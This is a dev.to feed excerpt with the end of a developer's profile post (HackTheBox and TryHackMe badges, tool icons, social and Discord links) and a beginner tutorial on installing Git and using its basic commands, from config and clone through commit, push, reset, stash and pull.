&lt;p&gt;&lt;strong&gt;Team:&lt;/strong&gt; &lt;a href="https://app.hackthebox.com/teams/overview/3804" rel="nofollow noopener noreferrer"&gt;7h3B14ckKn1gh75&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Captain:&lt;/strong&gt; True&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Developmental Zone:&lt;/strong&gt; &lt;a href="https://github.com/7h3-B14ck-Kn1gh75/" rel="noopener noreferrer"&gt;7h3-B14ck-Kn1gh75&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;HTB Profile:&lt;/strong&gt; &lt;a href="https://app.hackthebox.com/profile/496941" rel="nofollow noopener noreferrer"&gt;V37R1X&lt;/a&gt;&lt;/p&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt; Coding: &lt;/h2&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CodeWars:&lt;/strong&gt; &lt;a href="https://www.codewars.com/users/V37R1X" rel="nofollow noopener noreferrer"&gt;Codewars&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LeetCode:&lt;/strong&gt; &lt;a href="https://leetcode.com/Yuma-Tsushima07/" rel="nofollow noopener noreferrer"&gt;LeetCode&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt; Languages and Tools: &lt;/h2&gt;

&lt;/div&gt;

&lt;p&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/d21012299f2ccd4a7d73b13f896b0be91c9e71bb7f0b51f1cbfb783ed6b9f9b1/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6e6f64656a732f6e6f64656a732d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/d21012299f2ccd4a7d73b13f896b0be91c9e71bb7f0b51f1cbfb783ed6b9f9b1/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6e6f64656a732f6e6f64656a732d6f726967696e616c2e737667" alt="node" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/426c1121b29abc64a6b1af1e3aa3091abb38e39c87054720b765af1425c74e7f/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6a6176617363726970742f6a6176617363726970742d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/426c1121b29abc64a6b1af1e3aa3091abb38e39c87054720b765af1425c74e7f/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6a6176617363726970742f6a6176617363726970742d6f726967696e616c2e737667" alt="javascript" width="40" height="40"&gt;&lt;/a&gt;  
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/2d9be2cdbe847aa58cefeb401833777b9330a5d91389066137fc1c84589eabfe/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6373686172702f6373686172702d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/2d9be2cdbe847aa58cefeb401833777b9330a5d91389066137fc1c84589eabfe/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6373686172702f6373686172702d6f726967696e616c2e737667" alt="c#" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/4eaf7f26830ffa4bc4c4502a24e9be29fa2796208648a805e8f610da811aeb05/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f637373332f637373332d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/4eaf7f26830ffa4bc4c4502a24e9be29fa2796208648a805e8f610da811aeb05/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f637373332f637373332d6f726967696e616c2e737667" alt="css" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/6647554cf19482c32acc6a6a3b8bd68b845fafabd474595e7e92dead3075c3ea/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f68746d6c352f68746d6c352d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/6647554cf19482c32acc6a6a3b8bd68b845fafabd474595e7e92dead3075c3ea/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f68746d6c352f68746d6c352d6f726967696e616c2e737667" alt="html" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/26e44b2fdc869c8fa8c3899b253bca6a11bc666e17ec1065b431376885891383/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f626173682f626173682d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/26e44b2fdc869c8fa8c3899b253bca6a11bc666e17ec1065b431376885891383/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f626173682f626173682d6f726967696e616c2e737667" alt="bash" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/d1652ce9d9e41d898ea03bd8772e8accb903947dc6bba2a410d76462f7d63d1b/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f707974686f6e2f707974686f6e2d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/d1652ce9d9e41d898ea03bd8772e8accb903947dc6bba2a410d76462f7d63d1b/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f707974686f6e2f707974686f6e2d6f726967696e616c2e737667" alt="python" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/15166a15835f145259844be455ab5945594a70c48a3090aa83d193bd5e3e9bc5/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6769742f6769742d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/15166a15835f145259844be455ab5945594a70c48a3090aa83d193bd5e3e9bc5/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6769742f6769742d6f726967696e616c2e737667" alt="git" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/2e3402a95bea6acba7dd5d26566d797607b63a6bdec43942c8286fbf7db4a177/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6769746875622f6769746875622d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/2e3402a95bea6acba7dd5d26566d797607b63a6bdec43942c8286fbf7db4a177/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6769746875622f6769746875622d6f726967696e616c2e737667" alt="github" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/894e1f85b121849a193bfff78fe69c6dd53b469398d67123c0b89b89e9563d41/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6c617465782f6c617465782d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/894e1f85b121849a193bfff78fe69c6dd53b469398d67123c0b89b89e9563d41/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6c617465782f6c617465782d6f726967696e616c2e737667" alt="latex" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/f91287c9aac55623bc37ceb651ac35b7efb56e422019a3bb59328328a09edf9f/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6c696e75782f6c696e75782d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/f91287c9aac55623bc37ceb651ac35b7efb56e422019a3bb59328328a09edf9f/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6c696e75782f6c696e75782d6f726967696e616c2e737667" alt="linux" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/0ea929590df93bba0994077b7c578d9917b27fc059a3c0330135f8b32f582ffe/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6d61726b646f776e2f6d61726b646f776e2d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/0ea929590df93bba0994077b7c578d9917b27fc059a3c0330135f8b32f582ffe/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6d61726b646f776e2f6d61726b646f776e2d6f726967696e616c2e737667" alt="md" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/90700a62313a7ab044939bb96a71304f22a7e179cc503cd565b2e793e4f492c0/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6d6f6e676f64622f6d6f6e676f64622d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/90700a62313a7ab044939bb96a71304f22a7e179cc503cd565b2e793e4f492c0/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6d6f6e676f64622f6d6f6e676f64622d6f726967696e616c2e737667" alt="mongo" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/8b690f4dff81513c7425f3b8f6e66b34a1dea43e22562037eeb5449d18571c89/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6d7973716c2f6d7973716c2d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/8b690f4dff81513c7425f3b8f6e66b34a1dea43e22562037eeb5449d18571c89/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f6d7973716c2f6d7973716c2d6f726967696e616c2e737667" alt="mysql" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/34b891c76d258e4b0ee593443e5cbc2506cdbb7d3cd6bc0e4beffa87a9c1611b/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f72656163742f72656163742d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/34b891c76d258e4b0ee593443e5cbc2506cdbb7d3cd6bc0e4beffa87a9c1611b/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f72656163742f72656163742d6f726967696e616c2e737667" alt="react" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/f39f203ca1defeb47e3505ef9044d3303c038c60de7e67f6c229992602e59128/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f7673636f64652f7673636f64652d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/f39f203ca1defeb47e3505ef9044d3303c038c60de7e67f6c229992602e59128/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f7673636f64652f7673636f64652d6f726967696e616c2e737667" alt="vsc" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/64bb282001a08d828d2a954a7b02538874a9a609eb771b7181a73c1667495467/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f76696d2f76696d2d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/64bb282001a08d828d2a954a7b02538874a9a609eb771b7181a73c1667495467/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f76696d2f76696d2d6f726967696e616c2e737667" alt="vim" width="40" height="40"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/867db27790a6cdf42ca5b566ff38453c287d33648b7d9e06c6b3e046803a9819/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f72656475782f72656475782d6f726967696e616c2e737667"&gt;&lt;img src="https://camo.githubusercontent.com/867db27790a6cdf42ca5b566ff38453c287d33648b7d9e06c6b3e046803a9819/68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f64657669636f6e732f64657669636f6e2f69636f6e732f72656475782f72656475782d6f726967696e616c2e737667" alt="redux" width="40" height="40"&gt;&lt;/a&gt;
&lt;/p&gt;          

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt; Badges: &lt;/h2&gt;

&lt;/div&gt;


  &lt;b&gt;HackTheBox &lt;/b&gt;
  &lt;a href="https://app.hackthebox.eu/profile/496941" rel="nofollow noopener noreferrer"&gt;
&lt;img src="https://camo.githubusercontent.com/0754ef7c6bc71e0f5f0f3c120b4f2d0f787373cf4a881a106f65919b96c80115/687474703a2f2f7777772e6861636b746865626f782e65752f62616467652f696d6167652f343936393431" alt="Hack The Box"&gt;
  &lt;/a&gt;
  &lt;br&gt;&lt;br&gt;
  

&lt;p&gt;&lt;br&gt;
  &lt;b&gt;TryHackMe&lt;/b&gt;&lt;br&gt;
  &lt;a href="https://tryhackme.com/p/v37r1x" rel="nofollow noopener noreferrer"&gt;&lt;br&gt;
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FYuma-Tsushima07%2FReadme%2Fraw%2Fmain%2Fassets%2Fv37r1x.png" alt="TryHackMe"&gt;&lt;br&gt;
  &lt;/a&gt;&lt;br&gt;
  &lt;br&gt;&lt;br&gt;&lt;br&gt;
  &lt;/p&gt;

&lt;pre&gt;❀ &lt;a href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima#-48656c6c6f2045766572796f6e65-" rel="noopener noreferrer"&gt;BACK TO TOP&lt;/a&gt; ❀
&lt;/pre&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/dfebb90d88db502574e0ecaef86fd54c303772a79465edffa909734e817403bd/68747470733a2f2f63617073756c652d72656e6465722e76657263656c2e6170702f6170693f747970653d7265637426636f6c6f723d303a4143463946372c35303a4643464346432c3130303a463841434639266865696768743d31"&gt;&lt;img src="https://camo.githubusercontent.com/dfebb90d88db502574e0ecaef86fd54c303772a79465edffa909734e817403bd/68747470733a2f2f63617073756c652d72656e6465722e76657263656c2e6170702f6170693f747970653d7265637426636f6c6f723d303a4143463946372c35303a4643464346432c3130303a463841434639266865696768743d31" alt="header"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;/div&gt;
&lt;br&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;h3&gt;
  
  
  Follow me!
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Github: &lt;a href="https://github.com/Yuma-Tsushima07" rel="noopener noreferrer"&gt;https://github.com/Yuma-Tsushima07&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Medium: &lt;a href="https://0xv37r1x3r.medium.com/" rel="noopener noreferrer"&gt;https://0xv37r1x3r.medium.com/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;SoundCloud: &lt;a href="https://soundcloud.com/0c7av3h4ck5" rel="noopener noreferrer"&gt;https://soundcloud.com/0c7av3h4ck5&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Discord Servers!!
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Bounty Hunters&lt;/strong&gt;: An amazing bug hunting community full of developers and exploiters!!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.gg/J5PsgKqdWq" rel="noopener noreferrer"&gt;https://discord.gg/J5PsgKqdWq&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;CyberArtByte&lt;/strong&gt;: My server full of bling and joy!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.com/invite/mNAWykv67W" rel="noopener noreferrer"&gt;https://discord.com/invite/mNAWykv67W&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  New Soundcloud Track!!
&lt;/h3&gt;

&lt;p&gt;&lt;iframe width="100%" height="166" src="https://w.soundcloud.com/player/?url=https://soundcloud.com/0c7av3h4ck5/giornos-theme-edm-0c7av3h4ck5&amp;amp;auto_play=false&amp;amp;color=%23000000&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&amp;amp;show_teaser=true"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>beginners</category>
      <category>react</category>
      <category>redux</category>
    </item>
    <item>
      <title>[Github] What is Git? How do we use it?</title>
      <dc:creator>Yuma-Tsushima </dc:creator>
      <pubDate>Wed, 30 Jun 2021 20:59:40 +0000</pubDate>
      <link>https://dev.to/yumatsushima07/github-what-is-git-how-do-we-use-it-3b43</link>
      <guid>https://dev.to/yumatsushima07/github-what-is-git-how-do-we-use-it-3b43</guid>
      <description>&lt;h2&gt;
  
  
  What is Git?
&lt;/h2&gt;

&lt;p&gt;If you are a software developer then you must be familiar with Git. Git is vastly used for version/revision control for software development for controlling source code.&lt;/p&gt;

&lt;p&gt;It is a distributed revision control system. Git is better than SVN for speed, data integrity and also support non-linear workflows. &lt;/p&gt;

&lt;p&gt;Git was initially designed and developed by Linus Torvalds for Linux kernel development purpose. Yes you read it correct.&lt;/p&gt;

&lt;p&gt;he creator of the Linux kernel designed and developed Git. Git was initially used for updating source code of the Linux kernel from around the world. &lt;/p&gt;

&lt;p&gt;Like any other version control systems, every Git working directory has a full-fledged repository with complete history and full version-tracking capabilities.&lt;/p&gt;

&lt;p&gt;Git is free software distributed under the terms of the GNU General Public License. Git utility or git tool is available with almost every Linux distributions.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it works?
&lt;/h2&gt;

&lt;p&gt;Git deals with  data more like a set of snapshots, snapshots of a miniature filesystem. Every time you commit your file, or save the state of your project in the git project repository, it basically takes a snapshots. So, it stores a reference to that snapshot of what all of your files look like at that moment of commit. To be efficient, fast &amp;amp; accurate if files have not changed, Git does not store that file again for further more changes with your commit. It just simply stored a link to the previous identical file it has already stored.&lt;/p&gt;

&lt;p&gt;It is a great tool with great efficiency for handling  large projects with hundred of thousand files with large project size. Git is primarily developed for Linux. Now a days, it also supports most major operating systems including BSD, Solaris, OS X, and even for Microsoft Windows.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I can use Git?
&lt;/h2&gt;

&lt;p&gt;There are a lot of different ways you can use Git. Most of the time we use command line tools and yes there are many graphical user interfaces (GUI) based software available as well of varying capabilities. I will be using Git on the command line or terminal over here. Command line / terminal is the  place where you can run all Git commands where as you can’t get all the features of Git on most of the GUIs based Git tools.&lt;/p&gt;

&lt;h2&gt;
  
  
  Installing Git
&lt;/h2&gt;

&lt;p&gt;You need to install Git before you start using it. Though most of the Linux distributions comes up with Git as preinstalled. Even if it is already there, it’s good to update it to the latest version.&lt;/p&gt;

&lt;p&gt;For RedHat / CentOS / Fedora, use the following command in the terminal to install it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;yum &lt;span class="nb"&gt;install &lt;/span&gt;git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;If you’re on a Debian-based distribution like Ubuntu, try the following command to install it:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install &lt;/span&gt;git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;For openSUSE, use the following command:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;zypper &lt;span class="nb"&gt;install &lt;/span&gt;git-core git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;For more different Linux distributions, there are instructions for installing on this &lt;a href="https://git-scm.com/download/linux"&gt;link&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Create your identity
&lt;/h2&gt;

&lt;p&gt;First,  you need to  set your user name and email address with git. This is very important as every Git commits you made uses this information.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; git config &lt;span class="nt"&gt;--global&lt;/span&gt; user.name &lt;span class="s2"&gt;"Username here"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git config &lt;span class="nt"&gt;--global&lt;/span&gt; user.email xyz@xyz.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Check your Git setting
&lt;/h2&gt;

&lt;p&gt;To check your git setting, issue the following command in your terminal:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git config &lt;span class="nt"&gt;--list&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Cloning a Git repository
&lt;/h2&gt;

&lt;p&gt;First, you must clone the git repository for your project to start with and only then you can commit your changes.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://gitlab.com/xyz/abc.git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The above command is showing how you can clone a git repository from a server. The server used in this example for git repository is gitlab and &lt;code&gt;abc.git&lt;/code&gt; is the name. You can use the IP address of the git hosting server or the FQDN of that git sever.&lt;/p&gt;
&lt;h2&gt;
  
  
  Initialize a new Git repository
&lt;/h2&gt;

&lt;p&gt;If you want to start your own git repository sever for your codebase, issue the following command:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git init
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This will initiate a new git repository and the machine/host can be now used as a git repository server for that particular codebase. You can access the newly created repository by using the host’s IP or hostname.&lt;/p&gt;
&lt;h2&gt;
  
  
  Checking Git status
&lt;/h2&gt;

&lt;p&gt;You can check the status of files in the index versus the working directory for your git repository by using the following command:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; git status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Add a new file to Git repository
&lt;/h2&gt;

&lt;p&gt;Lets add a file to your newly created git repo. Go to your working folder for your source code.&lt;/p&gt;

&lt;p&gt;Now create a demo file by issuing the following command:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nano demo.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Add these following lines to the &lt;code&gt;demo.txt&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;This is a demo file. This is second line of the file.&lt;/p&gt;

&lt;p&gt;Our demo file has been created. Next, add this newly created file to the index of the git repo by issuing.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; git add demo.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now, we need to commit this to your git repo by using:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s1"&gt;'first commit'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This will add the file “demo.txt” with it’s file content and with a comment “first commit” so that you can search it later.&lt;/p&gt;

&lt;p&gt;Now, add a third line and commit it again.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nano demo.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Add these following content to the file.&lt;/p&gt;

&lt;p&gt;This is a demo file. This is second line of the file. This is the third line.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s1"&gt;'second commit'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This will update the file accordingly.&lt;/p&gt;

&lt;p&gt;Now, push the changes to the repository.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; git push
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This will push the changes into the master branch.&lt;/p&gt;
&lt;h2&gt;
  
  
  Deleting a file from Git
&lt;/h2&gt;

&lt;p&gt;Say, you need to remove a file from your git. Just do the following one after another.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; git &lt;span class="nb"&gt;rm &lt;/span&gt;documentation.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"documentation.txt  file removed"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; git push
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;You are done removing documentation.txt from your git repository.&lt;/p&gt;
&lt;h2&gt;
  
  
  Git Reset
&lt;/h2&gt;

&lt;p&gt;If you want to reset your index and working directory to the state of your last commit or to any commit then issue the following command in the terminal&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; git reset &lt;span class="nt"&gt;--hard&lt;/span&gt; commit number/HEAD
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Git Stash
&lt;/h2&gt;

&lt;p&gt;Say you made changes in one of your file but you don’t want to commit it to the repo then you can stash it and also you can push it later as well.&lt;/p&gt;

&lt;p&gt;Simply type...&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;git stash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Git Pull
&lt;/h2&gt;

&lt;p&gt;If you want to sync your local git codebase with the latest codebase of the git remote server repository, you need to use the following command. It will fetches files from the remote repository and merges it with your local one.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; git pull
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Viewing log file
&lt;/h2&gt;

&lt;p&gt;If you want to see a listing of commits on a master branch including details with logs, type the following&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
